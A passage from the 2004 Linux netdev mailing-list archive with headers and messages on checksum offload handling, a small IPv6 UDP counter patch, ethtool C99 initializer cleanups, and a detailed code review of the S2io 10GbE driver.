for multicast/broadcast packets on postrouting hook Message-Id: <20040218172441.2eb117a7.davem@redhat.com> In-Reply-To: References: <403066A2.30705@kolumbus.fi> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i1J1OsKO027511 X-archive-position: 3389 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 16 Feb 2004 08:45:47 -0500 (EST) James Morris wrote: > On Mon, 16 Feb 2004, Mika Penttilä wrote: > > > James Morris wrote: > > > > >No, it's not needed by all callers, and is just a does-one-thing helper > > >function. > > > > > > > > It is needed for cloned skbs, so check for this should go in > > skb_checksum_help(). > > No, there is no need to bloat a simple helper function out with this > (and then need to handle OOM internally etc.), and it is not appropriate > for all callers. I think Mika is in a way correct James. Nobody may mangle packet data contents without unsharing SKB on output path. But things are not so simple. Just mucking with the checksum works because things which usually clone such packets (TCP retransmit queue) regenerate all headers and thus checksum fields upon each further use of such clones. I am tempted just to punish nf_hook_slow()'s invocation of skb_checksum_help() but that is not the right answer. Let us look at some of the other users of skb_checksum_help(). The one in dev_queue_xmit() and the IPSEC encapsulator xfrm drivers are doing so just to plug up a short lived race where a route lookup points to a non-IPSEC checksumming hardware path, but we end up in the IPSEC path or to a device which does not support hw checksumming. One could argue that what we could do in this case is just drop the packet and let the route relookup on retransmit get things right. This reminds me that we should audit and if necessary fix handling of the ethtool operations that turn on/off checksumming support, they would need to flush all of the cached checksumming capability state if they not do so already. I'm as confused as when we began this thread :-) I believe it is possible to replace all skb_checksum_help() calls with a packet drop, except for the nf_hook_slow() case. It may be possible to instead push the nf_hook_slow() instance simply deeper into the netfilter code so that the iterate/parse/match phase need not invoke such a heavy operation. Only if netfilter will actually do something with the packet would we skb_checksum_help() or whatever. And I even believe that most cases where the packet is mangled do not need to keep from still letting the card checksum the packet. From davem@redhat.com Wed Feb 18 17:26:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 17:26:39 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1J1QZKO028378 for ; Wed, 18 Feb 2004 17:26:35 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1J1QWb04349; Wed, 18 Feb 2004 20:26:32 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1J1QWi12940; Wed, 18 Feb 2004 20:26:32 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1J1QSkC028328; Wed, 18 Feb 2004 20:26:29 -0500 Date: Wed, 18 Feb 2004 17:26:25 -0800 From: "David S. Miller" To: "Paul Schulz" Cc: netdev@oss.sgi.com, shemminger@osdl.org Subject: Re: [Bridge] Bridging on broken Broadcom hardware. Message-Id: <20040218172625.75ec89a3.davem@redhat.com> In-Reply-To: <8E9CC2201AD4134E93C95C8BD6E181D4032158@adlex1.adl.foursticks.com> References: <8E9CC2201AD4134E93C95C8BD6E181D4032158@adlex1.adl.foursticks.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3390 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 19 Feb 2004 11:39:00 +1030 "Paul Schulz" wrote: > What additional information would you like to have? Like a note from a broadcom or IBM engineer saying "yes 5703 A0 revs have broken checksumming" From hibi665@oki.com Wed Feb 18 17:58:23 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 17:58:33 -0800 (PST) Received: from iscan1.intra.oki.co.jp (okigate.oki.co.jp [202.226.91.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1J1wLKO006768 for ; Wed, 18 Feb 2004 17:58:22 -0800 Received: from aoi.okilab.oki.co.jp (IDENT:root@localhost.localdomain [127.0.0.1]) by iscan1.intra.oki.co.jp (8.9.3/8.9.3) with SMTP id KAA22092 for ; Thu, 19 Feb 2004 10:58:20 +0900 Received: (qmail 11438 invoked from network); 19 Feb 2004 10:58:19 +0900 Received: from dhcp23233.okilab.oki.co.jp (HELO kiso) (172.24.23.233) by aoi.okilab.oki.co.jp with SMTP; 19 Feb 2004 10:58:19 +0900 Message-Id: <20040219110035.2e1c15b4%hibi665@oki.com> MIME-Version: 1.0 Date: Thu, 19 Feb 2004 11:00:35 +0900 X-Mailer: Denshin 8 Go V32.1.4.3 X-My-Real-Login-Name: thibi; aoi From: Takashi Hibi To: netdev@oss.sgi.com Subject: UDP counter doesn't increase X-archive-position: 3391 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hibi665@oki.com Precedence: bulk X-list: netdev Hi all, UdpInDatagram in /proc/net/snmp6 doen't increase when IPv6 multicast UDP packets are received. sock_queue_rcv_skb() is called directly in udpv6_mcast_deliver. I think that udpv6_queue_rcv_skb() should be called instead of sock_queue_rcv_skb() as IPv4. Regards, Takashi Hibi From yoshfuji@linux-ipv6.org Wed Feb 18 19:03:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 19:03:19 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1J32xKO008133 for ; Wed, 18 Feb 2004 19:03:02 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id AF69C33CA5; Thu, 19 Feb 2004 11:25:57 +0900 (JST) Date: Thu, 19 Feb 2004 11:25:57 +0900 (JST) Message-Id: <20040219.112557.102901782.yoshfuji@linux-ipv6.org> To: davem@redhat.com, hibi665@oki.com Cc: netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: UDP counter doesn't increase From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20040219110035.2e1c15b4%hibi665@oki.com> References: <20040219110035.2e1c15b4%hibi665@oki.com> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3392 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article <20040219110035.2e1c15b4%hibi665@oki.com> (at Thu, 19 Feb 2004 11:00:35 +0900), Takashi Hibi says: > UdpInDatagram in /proc/net/snmp6 doen't increase when IPv6 multicast > UDP packets are received. > sock_queue_rcv_skb() is called directly in udpv6_mcast_deliver. I think that > udpv6_queue_rcv_skb() should be called instead of sock_queue_rcv_skb() > as IPv4. Okay, here's the patch. ===== net/ipv6/udp.c 1.58 vs edited ===== --- 1.58/net/ipv6/udp.c Thu Jan 29 09:06:25 2004 +++ edited/net/ipv6/udp.c Thu Feb 19 11:22:46 2004 @@ -591,12 +591,12 @@ if (!buff) continue; } - if (sock_queue_rcv_skb(sk2, buff) >= 0) + if (udpv6_queue_rcv_skb(sk2, buff) >= 0) buff = NULL; } if (buff) kfree_skb(buff); - if (sock_queue_rcv_skb(sk, skb) < 0) { + if (udpv6_queue_rcv_skb(sk, skb) < 0) { free_skb: kfree_skb(skb); } -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From ahaas@airmail.net Wed Feb 18 22:09:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 22:09:48 -0800 (PST) Received: from covert.brown-ring.iadfw.net (covert.brown-ring.iadfw.net [209.196.123.142]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1J69hKO013534 for ; Wed, 18 Feb 2004 22:09:45 -0800 Received: from pppte02-221.ght.iadfw.net ([66.94.128.221] helo=pcdebian) by covert.iadfw.net with esmtp (Exim 4.10) id 1Atbt4-0005Az-00 for netdev@oss.sgi.com; Wed, 18 Feb 2004 18:17:54 -0600 Received: (qmail 10127 invoked by uid 1000); 19 Feb 2004 00:16:33 -0000 From: "Art Haas" Date: Wed, 18 Feb 2004 18:16:33 -0600 To: netdev@oss.sgi.com Subject: [PATCH] Add C99 initializers to ethtool.c Message-ID: <20040219001633.GC9704@artsapartment.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.5.1+cvs20040105i X-archive-position: 3393 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ahaas@airmail.net Precedence: bulk X-list: netdev Hi. Here's a little patch adding C99 initializers to ethtool.c. The patch is against the current BK, and the file has been recompiled with the changes successfully. This patch and the one I just sent for the netfilter file were changed to make the code easier to read and to remove warnings if a '-W' flag is added to the compile command. Art Haas ===== net/core/ethtool.c 1.9 vs edited ===== --- 1.9/net/core/ethtool.c Sun Oct 12 06:18:38 2003 +++ edited/net/core/ethtool.c Wed Feb 18 17:22:52 2004 @@ -76,7 +76,7 @@ static int ethtool_get_settings(struct net_device *dev, void *useraddr) { - struct ethtool_cmd cmd = { ETHTOOL_GSET }; + struct ethtool_cmd cmd = { .cmd = ETHTOOL_GSET }; int err; if (!dev->ethtool_ops->get_settings) @@ -168,7 +168,7 @@ static int ethtool_get_wol(struct net_device *dev, char *useraddr) { - struct ethtool_wolinfo wol = { ETHTOOL_GWOL }; + struct ethtool_wolinfo wol = { .cmd = ETHTOOL_GWOL }; if (!dev->ethtool_ops->get_wol) return -EOPNOTSUPP; @@ -195,7 +195,7 @@ static int ethtool_get_msglevel(struct net_device *dev, char *useraddr) { - struct ethtool_value edata = { ETHTOOL_GMSGLVL }; + struct ethtool_value edata = { .cmd = ETHTOOL_GMSGLVL }; if (!dev->ethtool_ops->get_msglevel) return -EOPNOTSUPP; @@ -231,7 +231,7 @@ static int ethtool_get_link(struct net_device *dev, void *useraddr) { - struct ethtool_value edata = { ETHTOOL_GLINK }; + struct ethtool_value edata = { .cmd = ETHTOOL_GLINK }; if (!dev->ethtool_ops->get_link) return -EOPNOTSUPP; @@ -331,7 +331,7 @@ static int ethtool_get_coalesce(struct net_device *dev, void *useraddr) { - struct ethtool_coalesce coalesce = { ETHTOOL_GCOALESCE }; + struct ethtool_coalesce coalesce = { .cmd = ETHTOOL_GCOALESCE }; if (!dev->ethtool_ops->get_coalesce) return -EOPNOTSUPP; @@ -358,7 +358,7 @@ static int ethtool_get_ringparam(struct net_device *dev, void *useraddr) { - struct ethtool_ringparam ringparam = { ETHTOOL_GRINGPARAM }; + struct ethtool_ringparam ringparam = { .cmd = ETHTOOL_GRINGPARAM }; if (!dev->ethtool_ops->get_ringparam) return -EOPNOTSUPP; @@ -385,7 +385,7 @@ static int ethtool_get_pauseparam(struct net_device *dev, void *useraddr) { - struct ethtool_pauseparam pauseparam = { ETHTOOL_GPAUSEPARAM }; + struct ethtool_pauseparam pauseparam = { .cmd = ETHTOOL_GPAUSEPARAM }; if (!dev->ethtool_ops->get_pauseparam) return -EOPNOTSUPP; @@ -412,7 +412,7 @@ static int ethtool_get_rx_csum(struct net_device *dev, char *useraddr) { - struct ethtool_value edata = { ETHTOOL_GRXCSUM }; + struct ethtool_value edata = { .cmd = ETHTOOL_GRXCSUM }; if (!dev->ethtool_ops->get_rx_csum) return -EOPNOTSUPP; @@ -440,7 +440,7 @@ static int ethtool_get_tx_csum(struct net_device *dev, char *useraddr) { - struct ethtool_value edata = { ETHTOOL_GTXCSUM }; + struct ethtool_value edata = { .cmd = ETHTOOL_GTXCSUM }; if (!dev->ethtool_ops->get_tx_csum) return -EOPNOTSUPP; @@ -467,7 +467,7 @@ static int ethtool_get_sg(struct net_device *dev, char *useraddr) { - struct ethtool_value edata = { ETHTOOL_GSG }; + struct ethtool_value edata = { .cmd = ETHTOOL_GSG }; if (!dev->ethtool_ops->get_sg) return -EOPNOTSUPP; @@ -494,7 +494,7 @@ static int ethtool_get_tso(struct net_device *dev, char *useraddr) { - struct ethtool_value edata = { ETHTOOL_GTSO }; + struct ethtool_value edata = { .cmd = ETHTOOL_GTSO }; if (!dev->ethtool_ops->get_tso) return -EOPNOTSUPP; -- Man once surrendering his reason, has no remaining guard against absurdities the most monstrous, and like a ship without rudder, is the sport of every wind. -Thomas Jefferson to James Smith, 1822 From mroos@tartutest.cyber.ee Thu Feb 19 00:14:40 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 00:14:52 -0800 (PST) Received: from tartutest.cyber.ee (tartutest.cyber.ee [193.40.6.70]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1J8EaKO015811 for ; Thu, 19 Feb 2004 00:14:37 -0800 Received: Message by Barricade tartutest.cyber.ee with ESMTP id i1J8RKsA002914; Thu, 19 Feb 2004 10:27:21 +0200 Received: from mroos by rhn.tartu-labor with local (Exim 4.30) id 1AtjKh-0006Bz-Ee; Thu, 19 Feb 2004 10:14:55 +0200 From: Meelis Roos To: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Reply-To: netdev@oss.sgi.com Subject: Re: [NET] 64 bit byte counter for 2.6.3 In-Reply-To: <20040218101711.25dda791@dell_ss3.pdx.osdl.net> User-Agent: tin/1.7.4-20040111 ("Taransay") (UNIX) (Linux/2.6.3 (i686)) Message-Id: Date: Thu, 19 Feb 2004 10:14:55 +0200 X-archive-position: 3394 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mroos@linux.ee Precedence: bulk X-list: netdev SH> * Network changes gets discussed on netdev@oss.sgi.com SH> * 64 bit values are not atomic on 32 bit architectures Agree. SH> * wider values in /proc output risks breaking apps like ifconfig and netstat This is probably not a problem here, ifconfig etc have been working fine with non-wrapping numbers on sparc64 and other 64-bit machines. -- Meelis Roos From jgarzik@pobox.com Thu Feb 19 00:15:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 00:15:07 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1J8ExKO015830 for ; Thu, 19 Feb 2004 00:15:00 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:39723 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AtjKk-00017I-8P; Thu, 19 Feb 2004 08:14:58 +0000 Message-ID: <40347076.8030105@pobox.com> Date: Thu, 19 Feb 2004 03:14:46 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: raghavendra.koushik@wipro.com CC: leonid.grossman@s2io.com, netdev@oss.sgi.com, raghavendra.koushik@s2io.com, ravinandan.arakali@s2io.com Subject: Re: Submission for S2io 10GbE driver References: <4223A04BF7D1B941A25246ADD0462FF5010FA5EB@blr-m3-msg.wipro.com> In-Reply-To: <4223A04BF7D1B941A25246ADD0462FF5010FA5EB@blr-m3-msg.wipro.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3395 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev raghavendra.koushik@wipro.com wrote: > Hi Jeff, > > 1. points 7 and 8, when initSharedMem returns error, I call > freeSharedMem which should free any partially alloced memory. For #8 quite possibly, and if so, I stand corrected. For #7, it's a temporary variable so this would be impossible. > 2. For point 17 and 33 > We do support IPV6 checksum offload. There is one issue though, > our hardware only says whether the checksum is Ok or not it does > not actually return the checksum values! [...] > If I say features as NETIF_F_IP_CSUM instead of NETIF_F_HW_CSUM, > then I cannot utilize it's entire gamut of checksum offload feature > as the offload will be limited to just TCP/UDP over IPV4. Correct. Your hardware cannot utilize NETIF_F_HW_CSUM. You must be able to supply a valid csum from hardware, to use NETIF_F_HW_CSUM. Using NETIF_F_HW_CSUM as s2io does is abuse of the API, and prone to breakage... For the future, it sounds like you should create a NETIF_F_IPV6_CSUM that works for both IPv4 and IPv6, and more closely matches your hardware. We need to do this anyway, because most future cards will almost certainly offload IPv6 as well as IPv4. For the present, NETIF_F_IP_CSUM is unfortunately your only choice. Zero-copy only occurs for sendfile(2) system call, which works fine with NETIF_F_IP_CSUM, so no big deal. In general, I certainly want to encourage s2io to participate in adding features to Linux that is needed to more fully utilize the hardware. Some of the proposed features might not be appropriate, but adding NETIF_F_IPV6_CSUM for you guys certainly seems reasonable. Jeff From raghavendra.koushik@wipro.com Thu Feb 19 02:02:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 02:02:31 -0800 (PST) Received: from wiproecmx1.wipro.com (wiproecmx1.wipro.com [164.164.31.5]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1JA27KO021438 for ; Thu, 19 Feb 2004 02:02:10 -0800 Received: from ec-vwall-wd (ec-vwall-wd.wipro.com [10.200.52.125]) by wiproecmx1.wipro.com (8.12.9-20031013/8.12.9) with SMTP id i1J7GdcI021667 for ; Thu, 19 Feb 2004 12:46:39 +0530 (IST) Received: from blr-ec-bh2.wipro.com ([10.200.50.92]) by ec-vwall-wd with InterScan Messaging Security Suite; Thu, 19 Feb 2004 12:48:29 +0530 Received: from blr-m3-msg.wipro.com ([10.114.50.99]) by blr-ec-bh2.wipro.com with Microsoft SMTPSVC(5.0.2195.6713); Thu, 19 Feb 2004 12:46:38 +0530 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: RE: Submission for S2io 10GbE driver X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1 Date: Thu, 19 Feb 2004 12:46:38 +0530 Message-ID: <4223A04BF7D1B941A25246ADD0462FF5010FA5EB@blr-m3-msg.wipro.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Submission for S2io 10GbE driver Thread-Index: AcP07XFvxnooOIW5TSGEM7qnWY9DIABtw2NA From: To: , Cc: , , X-OriginalArrivalTime: 19 Feb 2004 07:16:38.0867 (UTC) FILETIME=[50ED9A30:01C3F6B8] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i1JA27KO021438 X-archive-position: 3396 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: raghavendra.koushik@wipro.com Precedence: bulk X-list: netdev Hi Jeff, 1. points 7 and 8, when initSharedMem returns error, I call freeSharedMem which should free any partially alloced memory. 2. For point 17 and 33 We do support IPV6 checksum offload. There is one issue though, our hardware only says whether the checksum is Ok or not it does not actually return the checksum values! The value I put into skb->csum is a dummy value and hence set ip_summed as UNNECESSARY in Rx path if checksums are reported OK. If I say features as NETIF_F_IP_CSUM instead of NETIF_F_HW_CSUM, then I cannot utilize it's entire gamut of checksum offload feature as the offload will be limited to just TCP/UDP over IPV4. Regards Koushik -----Original Message----- From: Jeff Garzik [mailto:jgarzik@pobox.com] Sent: Tuesday, February 17, 2004 5:59 AM To: Leonid Grossman Cc: netdev@oss.sgi.com; raghavendra.koushik@s2io.com; 'ravinandan arakali' Subject: Re: Submission for S2io 10GbE driver Comments: 1) use ULL suffix on u64 constants. static u64 round_robin_reg0 = 0x0001020304000105; static u64 round_robin_reg1 = 0x0200030106000204; static u64 round_robin_reg2 = 0x0103000502010007; static u64 round_robin_reg3 = 0x0304010002060500; static u64 round_robin_reg4 = 0x0103020400000000; 2) you'll want to (unfortunately) add #ifdefs around the PCI_xxx_ID constants, because a full submission to the kernel includes a patch to include/linux/pci_ids.h. /* VENDOR and DEVICE ID of XENA. */ #define PCI_VENDOR_ID_S2IO 0x17D5 #define PCI_DEVICE_ID_S2IO_WIN 0x5731 #define PCI_DEVICE_ID_S2IO_UNI 0x5831 3) AS_A_MODULE is incorrect. /* Load driver as a module */ #define AS_A_MODULE First, it is defined unconditionally. Second, it should not even exist. The kernel module API is intentionally designed such that the source code functions whether a kernel module or built into vmlinux, without #ifdefs. So, simply remove the ifdefs. As a general rule, Linux kernel source code tries to be as free of ifdefs as possible. 4) You will of course need to change CONFIGURE_ETHTOOL_SUPPORT, CONFIGURE_NAPI_SUPPORT to Kconfig-generate CONFIG_xxx defines, when submitting. 5) again, follow the kernel's no-ifdef philosophy: #ifdef KERN_26 static irqreturn_t s2io_isr(int irq, void *dev_id, struct pt_regs *regs); #else void s2io_isr(int irq, void *dev_id, struct pt_regs *regs); #endif /** KERN_26 **/ The "irqreturn_t" type was designed specifically to work without #ifdefs in earlier kernels. Here is the proper compatibility code, taken from release kernel 2.4.25's include/linux/interrupt.h: /* For 2.6.x compatibility */ typedef void irqreturn_t; #define IRQ_NONE #define IRQ_HANDLED #define IRQ_RETVAL(x) I hope you notice a key philosophy emerging ;-) You want to write a no-ifdef driver for 2.6, and then use the C pre-processor, typedefs, and other tricks to make the driver work on earlier kernels with as little modification as possible. Look at http://sf.net/projects/gkernel/ module "kcompat" for an example of a toolkit which allows you to write a current driver, and then use it on older kernels. 6) delete, not needed #ifdef UNDEFINED suspend:NULL, resume:NULL, #endif 7) memory leak on error /* Allocating all the Rx blocks */ for (j = 0; j < blk_cnt; j++) { size = (MAX_RXDS_PER_BLOCK + 1) * (sizeof(RxD_t)); tmp_v_addr = pci_alloc_consistent(nic->pdev, size, &tmp_p_addr); if (tmp_v_addr == NULL) { return -ENOMEM; } memset(tmp_v_addr, 0, size); 8) memory leak on error /* Allocation and initialization of Statistics block */ size = sizeof(StatInfo_t); mac_control->stats_mem = pci_alloc_consistent (nic->pdev, size, &mac_control->stats_mem_phy); if (!mac_control->stats_mem) { return -ENOMEM; } 9) if you store a pointer for your shared memory, it is wasteful to store an -additional- flag indicating this memory has been allocated. simply check for NULL. if (nic->_fResource & TXD_ALLOCED) { nic->_fResource &= ~TXD_ALLOCED; pci_free_consistent(nic->pdev, mac_control->txd_list_mem_sz, 10) ULL suffix write64(&bar0->swapper_ctrl, 0xffffffffffffffff); val64 = (SWAPPER_CTRL_PIF_R_FE | 11) ditto this for other 64-bit constants 12) never mdelay() for this long. Either create a timer, or make sure you're in process constant and sleep via schedule_timeout(). /* Remove XGXS from reset state*/ val64 = 0; write64(&bar0->sw_reset, val64); mdelay(500); 13) memory writes without memory reads following them are often the victims of PCI write posting bugs. At the very least, this driver appears to have many PCI write posting issues. write64(&bar0->dtx_control, 0x8000051500000000); udelay(50); write64(&bar0->dtx_control, 0x80000515000000E0); udelay(50); write64(&bar0->dtx_control, 0x80000515D93500E4); udelay(50); write64(&bar0->dtx_control, 0x8001051500000000); udelay(50); write64(&bar0->dtx_control, 0x80010515000000E0); udelay(50); write64(&bar0->dtx_control, 0x80010515001E00E4); udelay(50); You are not guaranteed that the write will have completed, by the end of each udelay(), unless you first issue a PCI read of some sort. 14) another mdelay(500) loop to be fixed /* Wait for the operation to complete */ time = 0; while (TRUE) { val64 = read64(&bar0->rti_command_mem); if (!(val64 & TTI_CMD_MEM_STROBE_NEW_CMD)) { break; } if (time > 50) { DBG_PRINT(ERR_DBG, "%s: RTI init Failed\n", dev->name); return -1; } time++; mdelay(10); 15) you obviously mean TASK_UNINTERRUPTIBLE here: /* Enabling MC-RLDRAM */ val64 = read64(&bar0->mc_rldram_mrs); val64 |= MC_RLDRAM_QUEUE_SIZE_ENABLE | MC_RLDRAM_MRS_ENABLE; write64(&bar0->mc_rldram_mrs, val64); set_current_state(TASK_INTERRUPTIBLE); schedule_timeout(HZ / 10); 16) get this from struct pci_dev, not directly from the PCI bus: /* SXE-002: Initialize link and activity LED */ ret = pci_read_config_word(nic->pdev, PCI_SUBSYSTEM_ID, (u16 *) & subid); 17) question: do you not support more advanced checksum offload? like ipv6 or "hey I put the packet checksum " 18) waitForCmdComplete can mdelay() an unacceptably long time 19) ditto s2io_reset. 20) your driver has its spinlocks backwards! Your interrupt handler uses spin_lock_irqsave(), and your non-interrupt handling code uses spin_lock(). That's backwards from correct. 21) s2io_close could mdelay() for unacceptably long time. Fortunately, you -can- sleep here, so just replace with schedule_timeout() calls. 22) remove the commented-out MOD_{INC,DEC}_USE_COUNT. 23) your tx_lock spinlock is completely unused. oops. :) the spinlock covers two areas of code, both of which are mutually exclusive. Given this and #20... you might want to make sure to build and test on SMP. Even SMP kernels on uniprocessor hardware helps find spinlock deadlocks. 24) your tx_lock does not cover the interrupt handler code. I presume this is an oversight? 25) delete s2io_set_mac_addr. It's not needed. It is preferred to use the default eth_mac_addr. Follow this procedure, usually: a) During probe, obtain MAC address from "original source", usually EEPROM / SROM. b) Each time dev->open() is called, write MAC address to h/w. 26) check and make sure you initialize your link to off (netif_carrier_off(dev)), in your dev->open() function. In the background, your phy state machine should call netif_carrier_on() once it is certain link has been established. this _must_ be an asynchronous process. You may not sleep and wait for link, in dev->open(). 27) for current 2.4 and 2.6 kernels, please use struct ethtool_ops rather than a large C switch statement. 28) are you aware that all of s2io_tx_watchdog is inside the dev->tx_lock spinlock? I am concern s2io_tx_watchdog execution time may be quite excessive a duration to hold a spinlock. 29) never call netif_wake_queue() unconditionally. only call it if you are 100% certain that the net stack is allowed to add another packet to your hardware's TX queue(s). 30) do not call netif_stop_queue() and netif_wake_queue() on link events, in s2io_link. Simply call netif_carrier_{on,off}. 31) ULL suffix } else if (!pci_set_dma_mask(pdev, 0xffffffff)) { 32) missing call to pci_disable_device() on error: if (pci_set_consistent_dma_mask (pdev, 0xffffffffffffffffULL)) { DBG_PRINT(ERR_DBG, "Unable to obtain 64bit DMA for \ consistent allocations\n"); return -ENOMEM; 33) if you use CHECKSUM_UNNECESSARY, you should be using the less-capable NETIF_F_IP_CSUM. dev->features |= NETIF_F_SG | NETIF_F_HW_CSUM; NETIF_F_HW_CSUM requires the actual checksum value. From shmulik.hen@intel.com Thu Feb 19 02:14:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Feb 2004 02:14:38 -0800 (PST) Received: from hermes-pilot.fm.intel.com (fmr99.intel.com [192.55.52.32]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1JAETKO021911 for ; Thu, 19 Feb 2004 02:14:30 -0800 Received: from petasus.fm.intel.com (petasus.fm.intel.com [10.1.192.37]) by hermes-pilot.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i1JACPmc009390; Thu, 19 Feb 2004 10:12:26 GMT Received: from fmsmsxvs043.fm.intel.com (fmsmsxvs043.fm.intel.com [132.233.42.129]) by petasus.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i1JAFcIQ016546; Thu, 19 Feb 2004 10:15:56 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.220.54]) by fmsmsxvs043.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004021902135222651 ; Thu, 19 Feb 2004 02:13:53 -0800 From: Shmuel Hen Organization: Intel Corporation To: "David S. Miller" , "Jeff Garzik" Subject: [PATCH 2/2] [8021q 2.4] Use VLAN tag set functionality in 8021q module Date: Thu, 19 Feb 2004 12:13:50 +0200 User-Agent: KMail/1.5.3 Cc: "linux-netdev" , "bonding-devel" MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200402191213.51683.shmulik.hen@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 3397 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: 